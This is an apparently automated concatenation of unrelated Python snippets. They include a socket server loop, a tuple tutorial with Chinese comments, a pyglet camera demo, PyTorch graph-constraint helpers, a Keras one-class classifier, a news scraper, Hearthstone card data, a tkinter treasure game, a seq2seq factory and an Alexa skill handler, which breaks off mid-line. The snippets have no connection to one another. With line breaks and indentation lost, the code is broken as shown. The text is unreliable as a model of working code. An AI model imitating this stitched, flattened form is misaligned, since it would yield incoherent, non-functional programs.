Game().load('DEBUG_2013-11-12') # -- game settings -- while 1: print 'waiting for connection... listening on port', PORT clientsock, addr = serversock.accept() print '...connected from:', addr thread.start_new_thread(handler, (clientsock, addr))
tuple1 = ('刘备', '关羽', '张飞') # 定义了一个元组,有三个成员 tuple2 = () # 定义了一个空元组 tuple3 = ('刘备', ) # 如果元组中只有一个值,那么后面必须写逗号 tuple4 = '刘备', '关羽', '张飞' # 定义了一个元组,有三个成员 tuple5 = '刘备', # 如果元组中只有一个值,那么后面必须写逗号 tuple6 = "刘备" # 定义的不是元组,是字符串 tuple7 = ("刘备") # 定义的不是元组,是字符串 print(tuple1) print(tuple2) print(tuple3) print(tuple4) print(tuple5) print(tuple6) print(tuple7)
import weakref from math import atan2, cos, sin, radians, pi import pyglet from pyglet.gl import glEnable, GL_DEPTH_TEST, GL_CULL_FACE from pyglet.math import Vec2, Vec3, Mat4, clamp window = pyglet.window.Window(width=720, height=480, resizable=True) batch = pyglet.graphics.Batch() time = 0 class FPSCamera: def __init__(self, window, position=Vec3(0, 0, 0), target=Vec3(0, 0, -1), up=Vec3(0, 1, 0)): self.position = position self.target = target self.up = up self.speed = 6 self.deadzone = 0.1 # TODO: calculate these values from the passed Vectors self.pitch = 0 self.yaw = 270 self.roll = 0 self.input_map = {pyglet.window.key.W: "forward", pyglet.window.key.S: "backward", pyglet.window.key.A: "left", pyglet.window.key.D: "right"} self.mouse_look = Vec2() self.keybord_move = Vec3() self.controller_look = Vec2() self.controller_move = Vec3() self._window = weakref.proxy(window) self._window.view = Mat4.look_at(position, target, up) self._window.push_handlers(self) self._window.set_exclusive_mouse(True) def on_deactivate(self): # Prevent input from getting "stuck" self.keybord_move[:] = 0, 0, 0 def on_resize(self, width, height): self._window.viewport = (0, 0, width, height) self._window.projection = Mat4.perspective_projection(window.aspect_ratio, z_near=0.1, z_far=100, fov=45) return pyglet.event.EVENT_HANDLED def on_refresh(self, dt): # Look if abs(self.controller_look) > self.deadzone: # Don't reset the vector to 0,0 because new events don't come # in when the analoge stick is held in a steady position. self.yaw = self.yaw + self.controller_look.x self.pitch = clamp(self.pitch + self.controller_look.y, -89.0, 89.0) if abs(self.mouse_look) > 0: # Reset the vector back to 0 each time, because there is no event # for when the mouse stops moving. It will get "stuck" otherwise. self.yaw += self.mouse_look.x * 0.1 self.pitch = clamp(self.pitch + self.mouse_look.y * 0.1, -89.0, 89.0) self.mouse_look[:] = 0, 0 self.target = Vec3(cos(radians(self.yaw)) * cos(radians(self.pitch)), sin(radians(self.pitch)), sin(radians(self.yaw)) * cos(radians(self.pitch))).normalize() # Movement speed = self.speed * dt if abs(self.controller_move) > self.deadzone: self.position += self.controller_move * speed if abs(self.keybord_move) > 0: self.position += self.keybord_move * speed self._window.view = Mat4.look_at(self.position, self.position + self.target, self.up) # Mouse input def on_mouse_motion(self, x, y, dx, dy): self.mouse_look[:] = dx, dy # Keyboard input def on_key_press(self, symbol, mod): if symbol in self.input_map: direction = self.input_map[symbol] if direction == 'forward': self.keybord_move += self.target elif direction == 'backward': self.keybord_move -= self.target elif direction == 'left': self.keybord_move -= self.target.cross(self.up).normalize() elif direction == 'right': self.keybord_move += self.target.cross(self.up).normalize() def on_key_release(self, symbol, mod): if symbol in self.input_map: direction = self.input_map[symbol] if direction == 'forward': self.keybord_move -= self.target elif direction == 'backward': self.keybord_move += self.target elif direction == 'left': self.keybord_move += self.target.cross(self.up).normalize() elif direction == 'right': self.keybord_move -= self.target.cross(self.up).normalize() # Controller input def on_stick_motion(self, _controller, stick, xvalue, yvalue): if stick == "leftstick": self.controller_move = self.target * yvalue + self.target.cross(self.up).normalize() * xvalue elif stick == "rightstick": self.controller_look[:] = xvalue, yvalue, 0 @window.event def on_draw(): window.clear() batch.draw() if __name__ == "__main__": glEnable(GL_DEPTH_TEST) glEnable(GL_CULL_FACE) model_logo = pyglet.model.load("logo3d.obj", batch=batch) model_box = pyglet.model.load("box.obj", batch=batch) # Set the application wide view matrix (camera): # window.view = Mat4.look_at(position=Vec3(0, 0, 5), target=Vec3(0, 0, 0), up=Vec3(0, 1, 0)) camera = FPSCamera(window, position=Vec3(0, 0, 5)) if controllers := pyglet.input.get_controllers(): controller = controllers[0] controller.open() controller.push_handlers(camera) model_logo.matrix = Mat4.from_translation(Vec3(1.75, 0, 0)) model_box.matrix = Mat4.from_translation(Vec3(-1.75, 0, 0)) pyglet.app.run()
import timeit import numpy as np from scipy.linalg import expm from scipy.special import comb import torch class TrExpScipy(torch.autograd.Function): """ autograd.Function to compute trace of an exponential of a matrix """ @staticmethod def forward(ctx, input): with torch.no_grad(): # send tensor to cpu in numpy format and compute expm using scipy expm_input = expm(input.detach().cpu().numpy()) # transform back into a tensor expm_input = torch.as_tensor(expm_input) if input.is_cuda: # expm_input = expm_input.cuda() assert expm_input.is_cuda # save expm_input to use in backward ctx.save_for_backward(expm_input) # return the trace return torch.trace(expm_input) @staticmethod def backward(ctx, grad_output): with torch.no_grad(): expm_input, = ctx.saved_tensors return expm_input.t() * grad_output def compute_constraint(model, prod): assert (prod >= 0).detach().cpu().numpy().all() h = TrExpScipy.apply(prod) - model.num_vars return h def is_acyclic(adjacency): prod = np.eye(adjacency.shape[0]) for _ in range(1, adjacency.shape[0] + 1): prod = np.matmul(adjacency, prod) if np.trace(prod) != 0: return False return True def compute_prod(model, norm="none"): weights = model.get_parameters(mode='w')[0] prod = torch.eye(model.num_vars) if norm != "none": prod_norm = torch.eye(model.num_vars) for i, w in enumerate(weights): if i == 0: w = torch.abs(w) prod = torch.einsum("tij,j...t,jk->tik", w, model.adjacency.unsqueeze(1), prod) if norm != "none": tmp = 1. - torch.eye(model.num_vars).unsqueeze(1) prod_norm = torch.einsum("tij,j...t,jk->tik", torch.ones_like(w).detach(), tmp, prod_norm) else: w = torch.abs(w) prod = torch.einsum("tij,tjk->tik", w, prod) if norm != "none": prod_norm = torch.einsum("tij,tjk->tik", torch.ones_like(w).detach(), prod_norm) # sum over density parameter axis prod = torch.sum(prod, 1) if norm == "paths": prod_norm = torch.sum(prod_norm, 1) denominator = prod_norm + torch.eye(model.num_vars) # avoid / 0 on diagonal return prod / denominator elif norm == "none": return prod else: raise NotImplementedError def compute_jacobian_avg(model, data_manager, batch_size): jac_avg = torch.zeros(model.num_vars, model.num_vars) # sample x, do_mask = data_manager.sample(batch_size) x.requires_grad = True # compute loss weights, biases, extra_params = model.get_parameters(mode="wbx") log_probs = model.compute_log_likelihood(x, weights, biases, extra_params, detach=True) log_probs = torch.unbind(log_probs, 1) # compute jacobian of the loss for i in range(model.num_vars): tmp = torch.autograd.grad(log_probs[i], x, retain_graph=True, grad_outputs=torch.ones(batch_size))[0] jac_avg[i, :] = torch.abs(tmp).mean(0) return jac_avg
import tensorflow as tf from keras.models import Model from keras.layers import Input from keras.layers import Conv2D from keras.layers import Activation from keras.layers import MaxPool2D from keras.layers import Dense from keras.layers import Dropout from keras.layers import Flatten from keras.engine.topology import Layer from keras import backend as K from keras import Sequential import numpy as np class Sign(Layer): def __init__(self, **kwargs): super(Sign, self).__init__(**kwargs) def build(self, input_shape): pass def call(self, x): return K.sign(x) def compute_output_shape(self, input_shape): return input_shape def DOC(training = False): inp = Input(shape=(32,32,3)) ############################################## # CNN part ############################################## conv1 = Conv2D(filters=32, kernel_size=(5,5), name="cnn_conv1")(inp) relu1 = Activation('relu', name="cnn_relu1")(conv1) pool1 = MaxPool2D(pool_size=(2, 2), name="cnn_pool1")(relu1) conv2 = Conv2D(filters=64, kernel_size=(5,5), name="cnn_conv2")(pool1) pool2 = MaxPool2D(pool_size=(2, 2), name="cnn_pool2")(conv2) flat1 = Flatten(name="cnn_flat1")(pool2) dense1 = Dense(units=256, activation='relu', name="cnn_dense1")(flat1) drop1 = Dropout(rate=0.5, name="cnn_drop1")(dense1) ############################################## # One-class part ############################################## doc1 = Dense(units=1, name="doc_doc1")(drop1) sign1 = Sign(name="doc_sign1")(doc1) model = Model(inputs=inp, outputs=sign1) ''' model = Sequential() model.add(Conv2D(filters=32, kernel_size=(5,5), name="cnn_conv1", input_shape=(32,32,3))) model.add(Activation('relu', name="cnn_relu1")) model.add(MaxPool2D(pool_size=(2, 2), name="cnn_pool1")) model.add(Conv2D(filters=64, kernel_size=(5,5), name="cnn_conv2")) model.add(MaxPool2D(pool_size=(2, 2), name="cnn_pool2")) model.add(Flatten(name="cnn_flat1")) model.add(Dense(units=256, activation='relu', name="cnn_dense1")) model.add(Dropout(rate=0.5, name="cnn_drop1")) ''' ############################################### # Add loss ############################################### if training==True: add_loss(model) return model def add_loss(model): loss = K.variable(0.0) doc1 = model.layers[-2].output loss += K.relu(-doc1) sign1 = model.layers[-1].output ones = K.ones_like(sign1) loss += (sign1-ones) loss = K.sum(loss) layers = model.layers[:] temp_loss = 0.0 for layer in layers: if layer.name == "doc_doc1": temp_loss += np.sum(np.square(np.linalg.norm(layer.get_weights()[0].flatten()))) else: for weight in layer.get_weights(): temp_loss += np.sum(np.square(np.linalg.norm(weight.flatten()))) temp_loss = temp_loss/2 loss += temp_loss loss -= (layers[-2]).get_weights()[0] model.layers[-1].add_loss(loss) if __name__ == '__main__': model = DOC(True) model.summary()
# for finding the news from overpwn import urllib.request overpwnURL = "http://www.overpwn.com" def get_html_string(url): header = {'User-Agent': 'Mozilla/5.0'} req = urllib.request.Request(url, headers=header) fp = urllib.request.urlopen(req) byte_html = fp.read() html = byte_html.decode("utf8") fp.close() return html def get_phrase(html, keyphrase, terminator_phrase): foundPhrase = False phrase = "" for i in range(len(html)): if foundPhrase: break if html[i:(i + len(keyphrase))] == keyphrase: index = i + len(keyphrase) while html[index:(index + len(terminator_phrase))] != terminator_phrase: phrase += html[index] index += 1 foundPhrase = True return phrase def get_phrases(html, keyphrase, terminator_phrase): '''reverses the order of phrases for discord readability''' phrases = [] for i in range(len(html)): if html[i:(i + len(keyphrase))] == keyphrase: index = i + len(keyphrase) phrase = "" while html[index:(index + len(terminator_phrase))] != terminator_phrase: phrase += html[index] index += 1 phrases = [phrase] + phrases return phrases def replace_tags(text, replace_with): new_text = "" inTags = False i = 0 while i < len(text): if text[i] == "<": inTags = True if not inTags: new_text += text[i] if text[i] == ">": inTags = False new_text += replace_with i += 1 return new_text def replace_all(text, target, replacement): new_text = "" i = 0 while i < len(text): if text[i:i + len(target)] == target: i += len(target) new_text += replacement else: new_text += text[i] i += 1 return new_text def clean_multiple_newline(text): nlchars = "\r\n" new_text = text[0:2] i = 2 while i < (len(text) - 1): new_char = text[i] if text[i] in nlchars: if (text[i + 1] in nlchars) and (text[i - 1] in nlchars) and \ (text[i - 2] in nlchars): new_char = "" new_text += new_char i += 1 new_text += text[-1] return new_text def clean_utf8(text): text = replace_all(text, "&nbsp;", "") text = replace_all(text, "&amp;", "&") text = replace_all(text, "&uacute;", "u") text = replace_all(text, "&aacute;", "a") text = replace_all(text, "&mdash;", " - ") text = replace_all(text, "&reg;", " ") text = replace_all(text, "&rsquo;", "\'") return text def get_news(): html = get_html_string(overpwnURL) key = "<section class=\"p-article-content u-typography-format\" itemprop=\"articleBody\">" term = "</section>" phrases = get_phrases(html, key, term) texts = "" for phrase in phrases: text = replace_tags(phrase, "") text = clean_utf8(text) text = clean_multiple_newline(text) texts += text + "\n" * 3 #print(texts) return texts def main(): print("Getting overpwn news") get_news() if __name__ == '__main__': main()
#Basic Set def All(): Cards=Minions() Cards+=Spells() Cards+=Weapons() return Cards def Minions(): #[class,mana cost,attack,health,text,tribe,name,rarity] Cards=[["Druid",8,8,8,"Taunt","","Ironbark Protector","Basic"], ["Hunter",1,1,1,"Your other Beasts have +1 Attack","Beast","Timber Wolf","Basic"], ["Hunter",4,4,3,"Battecry: Give a friendly Beast +2/+2 and Taunt.","","Houndmaster","Basic"], ["Hunter",5,3,2,"Whenever you summon a Beast, draw a card.","Beast","Starving Buzzard","Basic"], ["Hunter",5,2,5,"Your Beasts have Charge.","Beast","Tundra Rhino","Basic"], ["Mage",4,3,6,"Freeze any character damaged by this minion.","","Water Elemental","Basic"], ["Paladin",7,5,6,"Battlecry: Restore 6 Health to your hero.","","Guardian of Kings","Basic"], ["Priest",1,1,3,"Whenever a minion is healed, draw a card.","","Northshire Cleric","Basic"], ["Shaman",2,0,3,"Adjacent minions have +2 Attack.","Totem","Flametongue Totem","Basic"], ["Shaman",4,3,3,"Battlecry: Give a friendly minion Windfury","","Windspeaker","Basic"], ["Shaman",6,6,5,"Battlecry: Deal 3 damage.","","Fire Elemental","Basic"], ["Warlock",1,1,3,"Taunt.","Demon","Voidwalker","Basic"], ["Warlock",2,4,3,"Battlecry: Discard a random card.","Demon","Succubus","Basic"], ["Warlock",6,6,6,"Battlecry: Deal 1 damage to ALL other characters.","Demon","Dread Infernal","Basic"], ["Warrior",3,2,3,"Your Charge minions have +1 Attack.","","Warsong Commander","Basic"], ["Warrior",4,4,3,"Charge.","","Kor'kron Elite","Basic"], ["Neutral",1,1,1,"Battlecry: Deal 1 damage.","","Elven Archer","Basic"], ["Neutral",1,1,2,"Taunt.","","Goldshire Footman","Basic"], ["Neutral",1,1,1,"ALL other Murlocs have +1 Attack","Murloc","Grimscale Oracle","Basic"], ["Neutral",1,2,1,"","Murloc","Murloc Raider","Basic"], ["Neutral",1,1,1,"Charge.","Beast","Stonetusk Boar","Basic"], ["Neutral",1,2,1,"Battlecry: Restore 2 Health.","","Voodoo Doctor","Basic"], ["Neutral",2,3,2,"Battlecry: Destroy your opponent's weapon.","","Acidic Swamp Ooze","Basic"], ["Neutral",2,3,2,"","Beast","Bloodfen Raptor","Basic"], ["Neutral",2,2,1,"Charge.","Murloc","Bluegill Warrior","Basic"], ["Neutral",2,2,2,"Taunt.","","Frostwolf Grunt","Basic"], ["Neutral",2,2,2,"Spell Damage +1.","","Kobold Geomancer","Basic"], ["Neutral",2,2,1,"Battlecry: Summon a 1/1 Murloc Scout.","Murloc","Murloc Tidehunter","Basic"], ["Neutral",2,1,1,"Battlecry: Draw a card.","","Novice Engineer","Basic"], ["Neutral",2,2,3,"","Beast","River Crocolisk","Basic"], ["Neutral",3,1,4,"Spell Damage +1","","Dalaran Mage","Basic"], ["Neutral",3,2,2,"Battlecry: Deal 1 damage.","","Ironforge Rifleman","Basic"], ["Neutral",3,3,3,"Taunt","Beast","Ironfur Grizzly","Basic"], ["Neutral",3,5,1,"","","Magma Rager","Basic"], ["Neutral",3,2,2,"Your other minions have +1 Attack","","Raid Leader","Basic"], ["Neutral",3,2,3,"Battlecry: Summon a 1/1 Boar.","","Razorfen Hunter","Basic"], ["Neutral",3,3,2,"Battlecry: Give a friendly minion +1/+1.","","Shattered Sun Cleric","Basic"], ["Neutral",3,1,4,"Taunt","Beast","Silverback Patriarch","Basic"], ["Neutral",3,3,1,"Charge","","Wolfrider","Basic"], ["Neutral",4,4,5,"","","Chillwind Yeti","Basic"], ["Neutral",4,2,4,"Battlecry: Summmon a 2/1 Mechanical Dragonling.","","Dragonling Mechanic","Basic"], ["Neutral",4,2,4,"Battlecry: Draw a card.","","Gnomish Inventor","Basic"], ["Neutral",5,2,7,"","Beast","Oasis Snapjaw","Basic"], ["Neutral",4,4,4,"Spell Damage +1","","Ogre Magi","Basic"], ["Neutral",4,3,5,"Taunt","","Sen'jin Shieldmasta","Basic"], ["Neutral",4,2,5,"Charge","","Stormwind Knight","Basic"], ["Neutral",5,5,4,"Taunt","","Booty Bay Bodyguard","Basic"], ["Neutral",5,4,5,"Battlecry: Restore 2 Health to all friendly characters.","","Darkscale Healer","Basic"], ["Neutral",5,4,4,"Battlecry: Gain +1/+1 for each other friendly minion on the battlefield.","","Frostwolf Warlord","Basic"], ["Neutral",5,2,7,"Whenever this minion takes damage, gain +3 Attack.","","Gurubashi Berserker","Basic"], ["Neutral",5,4,4,"Battlecry: Deal 3 damage to the enemy hero.","","Nightblade","Basic"], ["Neutral",5,4,2,"Battlecry: Deal 2 damage.","","Stormpike Commando","Basic"], ["Neutral",6,4,7,"Spell Damage +1","","Archmage","Basic"], ["Neutral",6,6,7,"","","Boulderfist Ogre","Basic"], ["Neutral",6,6,5,"Taunt","","Lord of the Arena","Basic"], ["Neutral",6,5,2,"Charge","","Reckless Rocketeer","Basic"], ["Neutral",7,9,5,"","Beast","Core Hound","Basic"], ["Neutral",7,6,6,"Your other minions have +1/+1.","","Stormwind Champion","Basic"], ["Neutral",7,7,7,"","","War Golem","Basic"] ] return Cards def Spells(): #[class,mana cost,text,name,rarity] Cards=[["Druid",0,"Gain 2 Mana Crystals this turn only.","Innervate","Basic"], ["Druid",0,"Deal 1 damage.","Moonfire","Basic"], ["Druid",1,"Give your hero +2 Attack this turn and 2 Armor.","Claw","Basic"], ["Druid",2,"Give a minion Taunt and +2/+2.","Mark of the Wild","Basic"], ["Druid",2,"Gain an empty Mana Crystal.","Wild Growth","Basic"], ["Druid",3,"Restore 8 Health.","Healing Touch","Basic"], ["Druid",3,"Give you characters +2 Attack this turn.","Savage Roar","Basic"], ["Druid",4,"Deal 4 damage to an enemy and 1 damage to all other enemies.","Swipe","Basic"], ["Druid",6,"Deal 5 damage. Draw a card.","Starfire","Basic"], ["Hunter",1,"Deal 2 damage.","Arcane Shot","Basic"], ["Hunter",1,"Change a minion's Health to 1.","Hunter's Mark","Basic"], ["Hunter",1,"Look at the top three cards of your deck. Draw one and discard the others.","Tracking","Basic"], ["Hunter",3,"Summon a random Beast Companion.","Animal Companion","Basic"], ["Hunter",3,"Deal 3 damage. If you have a Beast, deal 5 damage instead.","Kill Command","Basic"], ["Hunter",4,"Deal 3 damage to two random enemy minions.","Multi-Shot","Basic"], ["Mage",1,"Deal 3 damage split among all enemies.","Arcane Missiles","Basic"], ["Mage",1,"Summon two 0/2 minions with Taunt.","Mirror Image","Basic"], ["Mage",2,"Deal 1 damage to all enemy minions.","Arcane Explosion","Basic"], ["Mage",2,"Deal 3 damage to a character and Freeze it.","Frostbolt","Basic"], ["Mage",3,"Draw 2 cards.","Arcane Intellect","Basic"], ["Mage",3,"Freeze all enemy miniona.","Frost Nova","Basic"], ["Mage",4,"Deal 6 damage.","Fireball","Basic"], ["Mage",4,"Transform a minion into a 1/1 Sheep.","Polymorph","Basic"], ["Mage",7,"Deal 4 damage to all enemy minions.","Flamestrike","Basic"], ["Paladin",1,"Give a minion +3 Attack.","Blessing of Might","Basic"], ["Paladin",1,"Give a minion Divine Shield","Hand of Protection","Basic"], ["Paladin",1,"Change a minion's Attack to 1.","Humility","Basic"], ["Paladin",2,"Restore 6 Health.","Holy Light","Basic"], ["Paladin",4,"Give a minion +4/+4.","Blessing of Kings","Basic"], ["Paladin",4,"Deal 2 damage to all enemies.","Consecration","Basic"], ["Paladin",4,"Deal 3 damage. Draw a card.","Hammer of Wrath","Basic"], ["Priest",1,"Deal 2 damage.","Holy Smite","Basic"], ["Priest",1,"Put a copy of a random card in your opponent's hand into your hand.","Mind Vision","Basic"], ["Priest",1,"Give a minion +2 Health. Draw a card.","Power Word: Shield","Basic"], ["Priest",2,"Double a minion's Health.","Divine Spirit","Basic"], ["Priest",2,"Deal 5 damage to the enemy hero.","Mind Blast","Basic"], ["Priest",2,"Destroy a minion with 3 or less Attack.","Shadow Word: Pain","Basic"], ["Priest",3,"Destroy a minion with an Attack of 5 or more.","Shadow Word: Death","Basic"], ["Priest",5,"Deal 2 damage to all enemies. Restore 2 Health to all friendly characters.","Holy Nova","Basic"], ["Priest",10,"Take control of an enemy minion.","Mind Control","Basic"], ["Rogue",0,"Deal 2 damage to an undamaged minion.","Backstab","Basic"], ["Rogue",1,"Give your weapon +2 Attack.","Deadly Poison","Basic"], ["Rogue",1,"Deal 3 damage to the enemy hero.","Sinister Strike","Basic"], ["Rogue",2,"Return an enemy minion to your opponent's hand.","Sap","Basic"], ["Rogue",2,"Deal 1 damage. Draw a card.","Shiv","Basic"], ["Rogue",3,"Deal 1 damage to all enemy minions. Draw a card.","Fan of Knives","Basic"], ["Rogue",5,"Destroy an enemy minion.","Assassinate","Basic"], ["Rogue",6,"Return all minions to their owner's hand.","Vanish","Basic"], ["Rogue",7,"Draw 4 cards.","Sprint","Basic"], ["Shaman",0,"Give your Totems +2 Health.","Totemic Might","Basic"], ["Shaman",0,"Restore a minion to full Health and give it Taunt.","Ancestral Healing","Basic"], ["Shaman",2,"Give a friendly character +3 Attack this turn.","Rockbiter Weapon","Basic"], ["Shaman",1,"Deal 1 damage to an enemy character and Freeze it.","Frost Shock","Basic"], ["Shaman",2,"Give a minion Windfury.","Windfury","Basic"], ["Shaman",3,"Transform a minion into a 0/1 Frog with Taunt.","Hex","Basic"], ["Shaman",5,"Give your minions +3 Attack this turn.","Bloodlust","Basic"], ["Warlock",0,"Destroy a Demon. Restore 5 Health to your hero.","Sacrificial Pact","Basic"], ["Warlock",1,"Deal 4 damage. Discard a random card.","Soulfire","Basic"], ["Warlock",1,"Deal 1 damage to a minion. If that kills it, draw a card.","Mortal Coil","Basic"], ["Warlock",1,"Choose an enemy minion. At the start of your turn, destroy it.","Corruption","Basic"], ["Warlock",3,"Deal 4 damage to a minion.","Shadow Bolt","Basic"], ["Warlock",3,"Deal 2 damage. Restore 2 Health to your hero.","Drain Life","Basic"], ["Warlock",4,"Deal 3 damage to ALL characters.","Hellfire","Basic"], ["Warrior",1,"Deal 1 damage to ALL minions.","Whirlwind","Basic"], ["Warrior",2,"Destory a damaged enemy minion.","Execute","Basic"], ["Warrior",2,"Give your hero +4 Attack this turn.","Herioc Strike","Basic"], ["Warrior",2,"Deal 2 damage to two random enemy minions.","Cleave","Basic"], ["Warrior",3,"Gain 5 Armor. Draw a card.","Shield Block","Basic"], ["Warrior",1,"Give a friendly minion Charge. It can't attack heroes this turn.","Charge","Basic"] ] return Cards def Weapons(): #[class,mana cost,attack,durability,text,name,rarity] Cards=[["Paladin",1,1,4,"","Light's Justice","Basic"], ["Paladin",4,4,2,"Whenever your hero attacks, restore 2 Health to it.","Truesilver Champion","Basic"], ["Rogue",5,3,4,"","Assassin's Blade","Basic"], ["Warrior",2,3,2,"","Fiery War Axe","Basic"], ["Warrior",5,5,2,"","Arcanite Reaper","Basic"] ] return Cards
from tkinter import * from random import * class Treasure: def __init__(self): self.answer_x = randrange(50, 650, 100) # get random integers 50, 150, 250, ... 650 self.answer_y = randrange(50, 450, 100) # get random integers 50, 150, 250, ... 450 window = Tk() frame = Frame(window) frame.pack() # make a label that shows how close the user is to the answer it is referred to in Found_Treasure function self.label = Label(frame, text = " ") # use self because the label will be referred to in Found_Treasure function self.label.grid(row = 2, column = 3) self.treasure_image = PhotoImage(file = "coca_cola_can.gif") self.canvas = Canvas(window, width = 700, height = 500, bg = "white") # draw vertical lines from the top of the canvas to the bottom of the canvas self.canvas.create_line(100, 0, 100, 500) self.canvas.create_line(200, 0, 200, 500) self.canvas.create_line(300, 0, 300, 500) self.canvas.create_line(400, 0, 400, 500) self.canvas.create_line(500, 0, 500, 500) self.canvas.create_line(600, 0, 600, 500) # draw horizontal lines from the left of the canvas to the right of the canvas self.canvas.create_line(0, 100, 700, 100) self.canvas.create_line(0, 200, 700, 200) self.canvas.create_line(0, 300, 700, 300) self.canvas.create_line(0, 400, 700, 400) self.canvas.focus_set() self.canvas.pack() self.canvas.bind("<Button-1>", self.Found_Treasure) window.mainloop() def Found_Treasure(self, event): # if answer_x and answer_y are inside the function each time the function is called a new random number will be generated print(self.answer_x, self.answer_y) print(event.x, event.y) if (event.x in range(self.answer_x - 50, self.answer_x + 51) and (event.y in range(self.answer_y -50, self.answer_y + 51))): self.label["text"] = "Congratulations you found the treasure" self.canvas.create_image(self.answer_x, self.answer_y, image = self.treasure_image) """ Hotter """ # handling the left of the answer square and right of the answer square elif (event.x in range(self.answer_x - 150, self.answer_x - 49) and event.y in range(self.answer_y - 50, self.answer_y + 51 )) or (event.x in range(self.answer_x + 50, self.answer_x + 151) and (event.y in range(self.answer_y - 50, self.answer_y + 51))): self.label["text"] = "Hotter" # handling the square above the answer square and the square below the answer square elif (event.x in range(self.answer_x - 50, self.answer_x + 51) and event.y in range(self.answer_y - 150, self.answer_y - 49)) or (event.x in range(self.answer_x - 50, self.answer_x + 51) and event.y in range(self.answer_y + 50, self.answer_y + 151)): self.label["text"] = "Hotter" # handling the square left top of the answer square and the square right top of the answer square respectively elif (event.x in range(self.answer_x - 150, self.answer_x - 49) and event.y in range(self.answer_y - 150, self.answer_y - 49)) or (event.x in range(self.answer_x + 50, self.answer_x + 151) and event.y in range(self.answer_y - 150, self.answer_y - 49)): self.label["text"] = "Hotter" # handling the square bottom left of the answer square and the square bottom right of the answer square respectively elif (event.x in range(self.answer_x - 150, self.answer_x - 49) and event.y in range(self.answer_y + 50, self.answer_y + 151)) or (event.x in range(self.answer_x + 50, self.answer_x + 151) and event.y in range(self.answer_y + 50, self.answer_y + 151)): self.label["text"] = "Hotter" # handling all the extreme Left squares elif ((event.x in range(self.answer_x -250, self.answer_x - 149)) and ((event.y in range(self.answer_y - 250, self.answer_y - 149)) or (event.y in range(self.answer_y - 150, self.answer_y - 49)) or (event.y in range(self.answer_y - 50, self.answer_y + 51)) or (event.y in range(self.answer_y + 50, self.answer_y + 151)) or (event.y in range(self.answer_y + 150 , self.answer_y + 251)))): self.label["text"] = "Hot" # handling all the extreme Right squares elif ((event.x in range(self.answer_x + 150, self.answer_x + 251)) and ((event.y in range(self.answer_y - 250, self.answer_y - 149)) or (event.y in range(self.answer_y - 150, self.answer_y - 49)) or (event.y in range(self.answer_y - 50, self.answer_y + 51)) or (event.y in range(self.answer_y + 50, self.answer_y + 151)) or (event.y in range(self.answer_y + 150 , self.answer_y + 251)))): self.label["text"] = "Hot" # handling all the topmost squares elif((event.y in range(self.answer_y - 250, self.answer_y - 149)) and ((event.x in range(self.answer_x - 150, self.answer_x - 51)) or (event.x in range(self.answer_x - 50, self.answer_x + 51)) or (event.x in range(self.answer_x + 50, self.answer_x + 151)))): self.label["text"] = "Hot" # handling all bottom squares elif((event.y in range(self.answer_y + 150, self.answer_y + 251)) and ((event.x in range(self.answer_x - 150, self.answer_x - 51)) or (event.x in range(self.answer_x - 50, self.answer_x + 51)) or (event.x in range(self.answer_x + 50, self.answer_x + 151)))): self.label["text"] = "Hot" # handling squares two squares to the left of the answer square elif ((event.x in range(self.answer_x - 350, self.answer_x - 249)) and ((event.y in range(self.answer_y - 350, self.answer_y - 249)) or (event.y in range(self.answer_y - 250, self.answer_y - 149)) or (event.y in range(self.answer_y - 150, self.answer_y - 49)) or (event.y in range(self.answer_y - 50, self.answer_y + 51)) or (event.y in range(self.answer_y + 50, self.answer_y + 151)) or (event.y in range(self.answer_y + 150 , self.answer_y + 251))or (event.y in range(self.answer_y + 250, self.answer_y + 351)))): self.label["text"] = "Cold" # handling squares two squares to the right of the answer square elif ((event.x in range(self.answer_x + 250, self.answer_x + 351)) and ((event.y in range(self.answer_y - 350, self.answer_y - 249)) or (event.y in range(self.answer_y - 250, self.answer_y - 149)) or (event.y in range(self.answer_y - 150, self.answer_y - 49)) or (event.y in range(self.answer_y - 50, self.answer_y + 51)) or (event.y in range(self.answer_y + 50, self.answer_y + 151)) or (event.y in range(self.answer_y + 150 , self.answer_y + 251))or (event.y in range(self.answer_y + 250, self.answer_y + 351)))): self.label["text"] = "Cold" # handling squares two squares top of the answer square elif ((event.y in range(self.answer_y - 350, self.answer_y - 249)) and ((event.x in range(self.answer_x - 250, self.answer_x - 149)) or (event.x in range(self.answer_x - 150, self.answer_x - 49)) or (event.x in range(self.answer_x - 50, self.answer_x + 51)) or (event.x in range(self.answer_x + 50, self.answer_x + 151)) or (event.x in range(self.answer_x + 150, self.answer_x + 251)))): self.label["text"] = "Cold" # handling squares tow squares below the answer square elif ((event.y in range(self.answer_y + 250, self.answer_y + 351)) and ((event.x in range(self.answer_x - 250, self.answer_x - 149)) or (event.x in range(self.answer_x - 150, self.answer_x - 49)) or (event.x in range(self.answer_x - 50, self.answer_x + 51)) or (event.x in range(self.answer_x + 50, self.answer_x + 151)) or (event.x in range(self.answer_x + 150, self.answer_x + 251)))): self.label["text"] = "Cold" else: self.label["text"] = "Colder" Treasure()
from seq2seq_model import Seq2Seq_Model def create_model(config): model = Seq2Seq_Model(vocab_size = config.vocab_size, output_keep_prob = config.output_keep_prob, encoder_rnn_type = config.encoder_rnn_type, encoder_num_layers = config.encoder_num_layers, encoder_rnn_size = config.encoder_rnn_size, encoder_embedding_size = config.encoder_embedding_size, decoder_rnn_type = config.decoder_rnn_type, decoder_num_layers = config.decoder_num_layers, decoder_rnn_size = config.decoder_rnn_size, decoder_embedding_size = config.decoder_embedding_size, use_attention = config.use_attention, attention_type = config.attention_type, opt = config.opt, clip_norm = config.clip_norm, learning_rate = config.learning_rate, word2idx = config.word2idx) return model
import time import logging from scraper import scrape_all_deals from scraper import scrape_for_category from scraper import scrape_for_brand from webdriver_wrapper import WebDriverWrapper SALE_PREFIX = 'This week at your local Whole Foods, ' NO_STORE_FOUND = 'I\'m sorry. There were no stores found in ' HELP_MESSAGE = 'To find out the weekly deals at your local Whole Foods, say \'tell me the deals in\' followed by your city and state. If there are multiple stores in your city, say the street name after your city and state.' FALLBACK_MESSAGE = 'Please say your city and state. If there are multiple stores in your city, say the street name after your city and state.' # *********** ALEXA ENDPOINT ********** def lambda_handler(event, context): logger = logging.getLogger() logger.setLevel(logging.INFO) request = event['request'] request_type = request['type'] if event['session']['new']: print('New session initiated') if request_type == 'LaunchRequest': return on_launch(request) elif request_type == 'IntentRequest': return on_intent(request, event['session']) elif request_type == 'SessionEndedRequest': return on_session_ended() # *********** REQUESTS *************** def on_intent(request, session): intent_name = request['intent']['name'] if 'dialogState' in request: #delegate to Alexa until dialog sequence is complete if request['dialogState'] == 'STARTED' or request['dialogState'] == 